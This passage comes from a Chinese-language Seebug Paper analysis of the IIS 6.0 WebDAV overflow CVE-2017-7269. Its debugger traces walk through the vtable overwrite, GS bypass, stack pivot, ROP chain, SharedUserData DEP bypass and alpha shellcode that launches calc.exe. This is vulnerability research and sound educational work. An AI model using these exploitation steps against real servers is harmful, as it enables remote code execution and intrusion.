00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath
+0x119
WARNING: Frame IP not in any known module. Following frames may be wrong.
00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125
這時候對應的IEcb已經被覆蓋,這樣,在進入ScStoragePathFromUrl函數之后,會進入我們在漏洞分析部分提到的CheckPrefixUrl函數,這個函數中有大量的IEcb虛表虛函數引用。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
和大家分享了這個精妙利用,一般可能都會覺得是第二次url bbbbb的這個memcpy覆蓋了關鍵函數導致的溢出、利用,實際上,在第一次url aaaaaa中,就已經引發了棧溢出,覆蓋到了stackbuffer申請的指向棧buffer的指針,這個指針存放在棧里,用于后續調用存放虛擬路徑,由于第一次棧溢出,覆蓋到了這個變量導致第二次url bbbbb拷貝的時候,是向一個堆地址拷貝,這個堆地址后面的偏移中,存放著IEcb的vftable,通過覆蓋虛表虛函數,在最后locktoken觸發的ScStoragePathFromUrl中利用虛函數達到代碼執行。
而這個過程,也是巧妙的繞過了GS的檢查。
簡析ROP及shellcode
這個漏洞使用了一些非常有意思的手法,一個是TK教主在13年安全會議上提到的shareduserdata,在ROP中,另一個是alpha shellcode。
首先,在前面虛函數執行之后,會先進行stack pivot,隨后進入rop。
0:009> t//stack pivot!!!
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016084 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x44:
68016084 8b08 mov ecx,dword ptr [eax] ds:0023:680313c0=680313c0
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x46:
68016086 8b4004 mov eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016089 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x49:
68016089 50 push eax
0:009> p//ROP Chain
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x4a:
6801608a c3 ret
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e50 5d pop ebp
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51 c22000 ret 20h
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e4f esp=680313ec ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
經過一系列ROP之后,會進入KiFastSystemCall,這是利用SharedUserData bypass DEP的一環。
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter
0:009> p
eax=00000000 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56 push esi
0:009> dc 68031460
68031460 00560056 00410059 00340034 00340034 V.V.Y.A.4.4.4.4.
68031470 00340034 00340034 00340034 00410051 4.4.4.4.4.4.Q.A.
之后進入alpha shellcode,這時候68031460作為shareduserdata,已經具備可執行權限。
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68031000
End Address: 68032000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE 有了可執行權限
這里由于url存入內存按照寬字節存放,因此都是以00 xx方式存放,因此不能單純使用shellcode,而得用alpha shellcode(結尾基友用了另一種方法執行shellcode,大家可以看下),alpha shellcode會先執行一段操作。隨后進入解密部分。
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031585 edx=68031568 esi=68031460 edi=680124e3
eip=6803154e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
rsaenh!g_pfnFree+0x292:
6803154e 41 inc ecx
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803154f esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x293:
6803154f 004200 add byte ptr [edx],al ds:0023:68031568=e3
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031552 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x296:
68031552 6b0110 imul eax,dword ptr [ecx],10h ds:0023:68031586=00540032
0:009> p
eax=05400320 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031555 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x299:
68031555 024102 add al,byte ptr [ecx+2] ds:0023:68031588=54
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031558 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29c:
68031558 8802 mov byte ptr [edx],al ds:0023:68031568=bc
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803155a esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29e:
6803155a 42 inc edx
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155b esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29f:
6803155b 803941 cmp byte ptr [ecx],41h ds:0023:68031586=32
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> dd 68031580
68031580 00380059 00320059 004d0054 004a0054
68031590 00310054 0030004d 00370031 00360059
680315a0 00300051 00300031 00300031 004c0045
680315b0 004b0053 00300053 004c0045 00330053
可以看到,解密前,alpha shellcod部分,隨后解密結束之后。
0:009> p
eax=04d0035d ebx=7ffe0300 ecx=68031592 edx=6803156c esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> bp 68031560
0:009> g
Breakpoint 2 hit
eax=00000410 ebx=7ffe0300 ecx=680318da edx=6803163e esi=68031460 edi=680124e3
eip=68031560 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x2a4:
68031560 b8b726bfca mov eax,0CABF26B7h
0:009> dd 68031580
68031580 223cec9b 265a2caa 6a289c9c 9f7c5610
68031590 90a91aa3 9f8f9004 beec8995 6120d015
680315a0 60351b24 30b44661 a56b0c3a 4eb0584f
680315b0 b3b04c03 65916fd3 87313668 9f7842bd
680315c0 14326fa2 fcc51b10 c16ae469 05721746
680315d0 7f01c860 44127593 5f97a1ee 840f2148
680315e0 4fd6e669 089c4365 23715269 e474df95
shellcode已經被解密出來,隨后會調用winexec,執行calc。
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315f9 esp=680313fc ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33d:
680315f9 51 push ecx
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0 jmp eax {kernel32!WinExec (77ea411e)}
0:009> dd esp
680313f8 68031614 68031633 00000001 00000000
0:009> dc 68031633 l2
68031633 636c6163 6578652e calc.exe
第二個參數是0x1,是SW_SHOWNORMAL,但由于服務無窗口,因此calc無法彈出。

其實,這個過程可以替換成其他的shellcode,相關的shellcode替換鏈接可以看我的好基友LCatro的幾篇文章,都非常不錯。
https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/
最后我想說,我在深圳,剛才和幾個平時網上的好朋友吃夜宵,聊到這個漏洞,沒想到在幾個小時前認識的彭博士,就是這個漏洞的作者!真的沒有想到,還好自己分析的這套思路和這個漏洞作者的思路相差無幾,不然就被打臉了。真的很有緣!一下學到了好多。
這篇最后還是沒有按時發出,不過希望能和大家一起學習!謝謝閱讀!
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/259/